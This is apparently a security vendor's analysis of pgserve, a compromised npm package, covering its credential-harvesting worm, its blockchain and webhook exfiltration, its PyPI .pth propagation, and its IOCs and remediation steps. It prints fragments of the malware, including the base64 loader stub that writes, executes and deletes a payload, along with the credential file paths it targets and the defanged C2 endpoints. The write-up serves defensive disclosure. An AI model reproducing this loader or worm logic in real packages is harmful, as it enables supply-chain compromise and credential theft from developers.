BACK

Real World Attacks

pgserve: Self-Propagating npm Worm with Blockchain C2

Valentino Duval

22 Apr 2026

Real World Attacks

pgserve: Self-Propagating npm Worm with Blockchain C2

Valentino Duval

22 Apr 2026

Real World Attacks

pgserve: Self-Propagating npm Worm with Blockchain C2

Valentino Duval

22 Apr 2026

No headings found in content selector: .toc-content

Executive Summary

Malicious versions of pgserve (1.1.11 through 1.1.14) were published to npm in a supply chain compromise. The package runs a credential harvesting and self-propagation payload at install time via a postinstall hook.

Ossprey Security has detected a new supply chain compromise, bearing strong similarities to attacks from earlier this year. Beyond credential theft, the package is also a worm. It discovers npm tokens on the infected system, enumerates all packages the token owner can publish, and injects itself into each one as a new version. It also crosses ecosystems, targeting PyPI using .pth file injection.

A technique that reminds of earlier attacks by TeamPCP sees the usage of the Internet Computer Protocol (ICP) as a secondary C2 Channel.

Key Judgments

  1. What is notable?

ICP blockchain C2 was previously observed in the Trivy supply chain attack. Its reappearance here suggests it is becoming an established evasion technique in supply chain malware.

  1. Who is at risk?

Any developer or CI pipeline that ran npm install pgserve from April 21 onwards, or installed any PyPI package that may have been infected via cross-ecosystem propagation. Any npm token on an infected machine may have been used to propagate the worm further.

  1. Was this preventable?

Yes. Behavioural analysis flagging postinstall execution, credential file reads, and outbound network calls at install time would catch this. Additionally, the PyPI packages published by this payload have no corresponding GitHub releases on the source project - a signal that can be used to flag unauthorised releases.

  1. What is the broader risk?

The npm install is just the entry point. The real damage is credential theft - cloud keys, CI tokens, SSH keys, database passwords, and crypto wallets swept in seconds. For most organisations, a compromised developer machine or CI pipeline has access to production infrastructure. These supply chain worms do not need to breach your perimeter; they ride in through a dependency and harvest everything reachable from that process.

Ossprey Detection

Ossprey's detection flagged the package on behavioural signals within seconds of each version appearing on the registry: postinstall execution, credential file reads across cloud provider configs, SSH keys, and crypto wallet paths, and outbound HTTP to infrastructure with no prior association with the pgserve package.

Technique Overlap

The pgserve payload shares notable techniques with malware observed in the ongoing wave of npm and PyPI supply chain compromises throughout early 2026. The payload code contains a comment explicitly naming a prior technique:

[PyPI] Technique: .pth file injection (TeamPCP/LiteLLM method)

This reference appears likely to be a callback or shoutout to previous attacks by TeamPCP, which we saw in March 2026 in the LiteLLM compromise. We are not attributing this compromise to any specific threat group at this time, and no group has claimed responsibility at the time of publication.

The shared characteristics worth noting:

  • .pth file injection for PyPI cross-ecosystem propagation

  • Credential harvesting targeting the same cloud provider and CI/CD patterns

  • postinstall hook execution vector

  • Dual-channel exfiltration strategy

Technical Breakdown

Execution Vector

The malicious payload is delivered via a postinstall script hook in package.json. It runs automatically when any developer or CI system installs the package.

Credential Harvesting

The harvest() function is one of the most comprehensive credential sweeps observed in npm supply chain malware. It operates in two phases:

Phase 1 - Environment variable sweep:

Over 50 regex patterns target credentials in the current process environment, including cloud providers, CI platforms, databases, AI APIs, and infrastructure tooling.

Phase 2 - Filesystem sweep:

Over 35 specific file paths are read, covering every major credential store on a developer machine, including:

  • ~/.aws/credentials

  • ~/.config/gcloud/application_default_credentials.json

  • ~/.azure/accessTokens.json

  • ~/.kube/config

  • ~/.docker/config.json

  • ~/.terraform.d/credentials.tfrc.json

  • ~/.pulumi/credentials.json

  • ~/.git-credentials

  • ~/.config/gh/hosts.yml

  • ~/.npmrc

  • ~/.pypirc

  • ~/.gem/credentials

  • ~/.cargo/credentials.toml

  • ~/.pgpass

  • ~/.my.cnf

  • ~/.bash_history

  • ~/.zsh_history

  • .env files in the current working directory and parent directory

Crypto Wallet Theft

The payload specifically targets seven cryptocurrency wallet applications by reading their local storage and IndexedDB files, including:

  • MetaMask

  • Phantom

  • Exodus

  • Atomic Wallet

  • Ethereum

  • Bitcoin/Electrum

  • Solana

Chrome Password Decryption

On Linux, the payload actively decrypts stored Chrome passwords at runtime using a hardcoded static key.

Process Memory Scanning

On Linux, the payload scans /proc//environ for the first 50 running processes, extracting environment variables from other running processes if they contain credential-related strings.

Encryption

Before exfiltration, the full payload is encrypted using a hybrid scheme:

  1. A random 32-byte AES-256-CBC session key and 16-byte IV are generated

  2. The harvested data is encrypted with AES-256-CBC

  3. The session key is encrypted with RSA-4096-OAEP-SHA256 using a public key bundled with the package

  4. If no public key is present, data is sent in plaintext

Dual-Channel C2 Exfiltration

Exfiltration attempts two channels simultaneously via `Promise.allSettled`:

hxxps://cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0[.]io/drop

The canister fires on every execution regardless of configuration. It uses ICP, a blockchain platform. The canister ID `cjn37-uyaaa-aaaac-qgnva-cai` acts as a decentralised, censorship-resistant data drop that cannot be taken down by domain seizure or IP blocking. Large payloads are chunked to 800KB with reassembly metadata (`_c`, `_id`, `_p`, `_t`, `_d` fields).

The canister receives a slim payload, with large browser and wallet data is stripped before sending:

const CANISTER_EXCLUDE_KEYS = new Set([
  'bash_history', 'zsh_history', 'chrome_login_data',
  'chrome_decrypted_passwords', 'proc_environs',
  'metamask_chrome', 'metamask_brave', 'exodus_wallet', 'atomic_wallet',
  // ...
]);
const CANISTER_EXCLUDE_KEYS = new Set([
  'bash_history', 'zsh_history', 'chrome_login_data',
  'chrome_decrypted_passwords', 'proc_environs',
  'metamask_chrome', 'metamask_brave', 'exodus_wallet', 'atomic_wallet',
  // ...
]);
const CANISTER_EXCLUDE_KEYS = new Set([
  'bash_history', 'zsh_history', 'chrome_login_data',
  'chrome_decrypted_passwords', 'proc_environs',
  'metamask_chrome', 'metamask_brave', 'exodus_wallet', 'atomic_wallet',
  // ...
]);

The secondary exfil URL.

hxxps://telemetry.api-monitor[.]com/v1/telemetry

The webhook behaviour changed across versions. In 1.1.11 and 1.1.12, the webhook key defaults to an empty string and the webhook does not fire. In 1.1.13 and 1.1.14, the key is hardcoded:

const WEBHOOK_KEY = process.env.TEL_SIGN_KEY || 'ff423c72061d8ee71bfdbafc4970dcc7de9eeab543eaed8d131731b5631acb48';
const WEBHOOK_KEY = process.env.TEL_SIGN_KEY || 'ff423c72061d8ee71bfdbafc4970dcc7de9eeab543eaed8d131731b5631acb48';
const WEBHOOK_KEY = process.env.TEL_SIGN_KEY || 'ff423c72061d8ee71bfdbafc4970dcc7de9eeab543eaed8d131731b5631acb48';

In these versions the webhook is active by default. Requests are HMAC-SHA256 signed with this key and carry the full payload. Including Chrome passwords, wallet files, and browser data that is excluded from the canister.

npm Worm - Self-Propagation

The worm is disabled by default. Propagation only activates if two environment variables are explicitly configured by the operator:

const DRY_RUN  = process.env.DIST_SYNC !== 'false';   // true (disabled) by default

const MAX_PROP = parseInt(process.env.DIST_SCOPE || '0', 10); // 0 (blocked) by default
const DRY_RUN  = process.env.DIST_SYNC !== 'false';   // true (disabled) by default

const MAX_PROP = parseInt(process.env.DIST_SCOPE || '0', 10); // 0 (blocked) by default
const DRY_RUN  = process.env.DIST_SYNC !== 'false';   // true (disabled) by default

const MAX_PROP = parseInt(process.env.DIST_SCOPE || '0', 10); // 0 (blocked) by default

With `DIST_SYNC=false` and `DIST_SCOPE` set to a number or `unlimited`, the worm proceeds to inject itself into every package the stolen token can publish:

1. Token Discovery - checks `NPM_TOKEN` env var, then `~/.npmrc` and project `.npmrc`. Resolves env var references (e.g. `${NPM_TOKEN}`) and validates against the registry via `/-/whoami`

2. Package Enumeration - three-stage fallback: write-permission API (`/-/user/org.couchdb.user:<username>/package`) → search API (`/-/v1/search?text=maintainer:<username>&size=250`) → `DIST_PACKAGES` env var list

3. Payload Injection - see version breakdown below

4. Evasion- patches `.npmignore` to remove any rules that would exclude the payload file; strips `prepare`, `prepublishOnly`, and `prepack` lifecycle scripts before publishing; publishes with `--ignore-scripts`

5. Publish - uses the stolen token scoped to the correct registry per-package; also bundles `public.pem` alongside the payload so future infections can encrypt their exfil

After propagation, a full report including the list of infected packages and the operator log is sent back to C2.

Payload Injection: Version Breakdown

Direct inspection of the four available package samples reveals a clear upgrade between 1.1.12 and 1.1.13:

Version

Webhook State

Injection technique

1.1.11

Disabled

Direct fs.copyFileSync

1.1.12

Disabled

Direct fs.copyFileSync

1.1.13

Enabled

Loader stub (base64 + temp exec)

1.1.14

Enabled

Loader stub (base64 + temp exec)

1.1.11 and 1.1.12 - Direct copy: The payload script is copied wholesale into the target package. The actual malware file persists on disk in the installed package under `scripts/check-env.js`.

1.1.13 and 1.1.14 - Loader stub: A thin wrapper (`check-env.cjs`) is installed instead. It contains the full payload base64-encoded as a string literal. At runtime the stub decodes it into a process-specific temp directory (.n<pid>), executes it, and deletes the directory:

var d = p.join(o.tmpdir(), '.n' + process.pid);

f.writeFileSync(s, Buffer.from(P, 'base64'));

c.execSync(process.execPath + ' ' + JSON.stringify(s), {stdio: 'ignore', timeout: 45000});

f.rmSync(d, {recursive: true, force: true});
var d = p.join(o.tmpdir(), '.n' + process.pid);

f.writeFileSync(s, Buffer.from(P, 'base64'));

c.execSync(process.execPath + ' ' + JSON.stringify(s), {stdio: 'ignore', timeout: 45000});

f.rmSync(d, {recursive: true, force: true});
var d = p.join(o.tmpdir(), '.n' + process.pid);

f.writeFileSync(s, Buffer.from(P, 'base64'));

c.execSync(process.execPath + ' ' + JSON.stringify(s), {stdio: 'ignore', timeout: 45000});

f.rmSync(d, {recursive: true, force: true});

The payload decoded from the stub contains the hardcoded webhook key. Meaning all victims of 1.1.13 and 1.1.14 had their full credential harvest (including Chrome passwords and wallet data) sent to the webhook endpoint in addition to the ICP canister. Victims of 1.1.11 and 1.1.12 had data sent to the canister only.

Versions 1.1.13 and 1.1.14 also carry the old `check-env.js` from earlier infections within the package tarball, though it is no longer invoked.

Cross-Ecosystem PyPI Propagation

PyPI propagation is also gated. It requires a PyPI token (`TWINE_PASSWORD` env or `~/.pypirc`) and a target package list (`PY_DIST_PACKAGES` env var). Critically, the registry defaults to `http://pypiserver:8081` - a local internal registry - not real PyPI. Real propagation requires `PYPI_REGISTRY` to be overridden to `https://upload.pypi.org/legacy/`.

When active, the worm creates a new Python package with a `.pth` file (`<module>_init.pth`) that is installed into `site-packages` via a custom `PostInstall` class. A `.pth` file in `site-packages` is executed on every Python invocation on the machine, giving the attacker persistent credential harvesting across any Python process.

The .pth payload is a self-contained Python one-liner that sweeps environment variables, cloud credentials, SSH keys, `.env` files, and package registry configs, then exfils to a separate endpoint:

hxxps://telemetry.api-monitor[.]com/v1/drop

This is distinct from the main telemetry endpoint used by the npm payload, allowing the attacker to distinguish npm-origin vs PyPI-origin victims.

What Should You Do

1. Triage & Contain - Audit `package.json`, `package-lock.json`, and `node_modules` across all environments. If `pgserve` at any version 1.1.11-1.1.14 is present, treat the environment as compromised.

2. Rotate All Credentials - Any environment where `pgserve` was installed must have all credentials rotated. The harvest scope is extremely broad:

  • npm tokens and all package registry tokens

  • AWS, Azure, GCP credentials

  • GitHub, GitLab tokens and SSH keys

  • Kubernetes, Docker, Terraform, Pulumi credentials

  • Any API keys present in environment variables or `.env` files

  • Database passwords

3. Audit npm Packages - If an npm token was present in the infected environment, check whether any packages you maintain received unexpected new versions. The worm publishes under your own token - look for patch bumps you did not author.

4. Check for PyPI Propagation - If `TWINE_PASSWORD` or `~/.pypirc` was present, audit your PyPI packages for unexpected releases and check for `.pth` files in Python's `site-packages`.

5. Block C2 Infrastructure - Firewall `telemetry.api-monitor[.]com` and monitor for outbound connections to `*.icp0[.]io`.

6. Check Crypto Wallets - If MetaMask, Phantom, Exodus, Atomic, or other wallet apps were present on the infected machine, assume wallet data was exfiltrated. Consider those wallets compromised.

Affected Versions

Version

Published At

1.1.11

2026-04-21 22:14 UTC

1.1.12

2026-04-21 22:26 UTC

1.1.13

2026-04-21 23:26 UTC

1.1.14

2026-04-22 03:35 UTC

Do not install any version of `pgserve` until a clean release is confirmed.

IOCs

Affected Package

pgserve v1.1.11 - v1.1.14 (npm)

C2 Infrastructure

  • ICP canister: hxxps://cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0[.]io/drop

  • ICP canister ID: cjn37-uyaaa-aaaac-qgnva-cai

  • Webhook (v1.1.13+): hxxps://telemetry.api-monitor[.]com/v1/telemetry

  • Webhook HMAC signing key: ff423c72061d8ee71bfdbafc4970dcc7de9eeab543eaed8d131731b5631acb48

  • PyPI exfil: hxxps://telemetry.api-monitor[.]com/v1/drop


Injected Files

  • npm worm payload (v1.1.11-1.1.12, direct copy): `scripts/check-env.js`

  • npm worm loader stub (v1.1.13-1.1.14, evasive): `scripts/check-env.cjs`

  • npm worm payload (files-based packages): `lib/env-compat.js` or `lib/env-compat.cjs`

  • npm worm RSA key: `scripts/public.pem` or `lib/public.pem`

  • PyPI `.pth` payload: `<module_name>_init.pth` in `site-packages`

Behavioural Indicators

  • Session ID prefix in network traffic: tel-

  • npm registry user-agent: npm/10.8.2 node/v20.18.0

  • Temp directories created during worm propagation: /tmp/dist-* (npm), /tmp/pydist-* (PyPI)

  • Temp execution directory (loader stub, v1.1.13+): /tmp/.n<pid>/

  • Chrome temp database: /tmp/chrome_login_data_<timestamp>.db

  • Environment variable _PKG_INIT=1 set on execution

SHA-1 Integrity Hashes

Version

SHA-1

1.1.11

6e0f54590ce393d0284971866ba40440c499d883

1.1.12

b044f7238edf37ebd34130ef972d46c5f593b348

1.1.13

8e2e55b1ea1959b300cf3b436495adea803b5a93

1.1.14

e71cff6a0c30ad5f33e3e5994cc1156dc8d4081b

MITRE ATT&CK

ID

Technique

T1195.001

Supply Chain Compromise: Compromise Software Supply Chain

T1059.007

Command and Scripting Interpreter: JavaScript

T1082

System Information Discovery (hostname, platform, CI context, repository, branch, commit collected)

T1057

Process Discovery (scanning /proc/<pid>/environ on Linux)

T1552.001

Unsecured Credentials: Credentials In Files

T1555.003

Credentials from Password Stores: Credentials from Web Browsers

T1005

Data from Local System (wallet files, SSH keys, shell history)

T1027

Obfuscated Files or Information (payload base64-encoded inside loader stub in v1.1.13+)

T1041

Exfiltration Over C2 Channel

T1102

Web Service (ICP blockchain canister as C2)

T1070.004

Indicator Removal: File Deletion (loader stub deletes temp execution directory after payload runs)

T1036.005

Masquerading: Match Legitimate Name or Location (env-compat.js, check-env.js)

T1072

Software Deployment Tools (npm worm self-propagation via registry publish)

T1546

Event Triggered Execution (.pth file persistence on PyPI targets)

Citations and Acknowledgements


SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.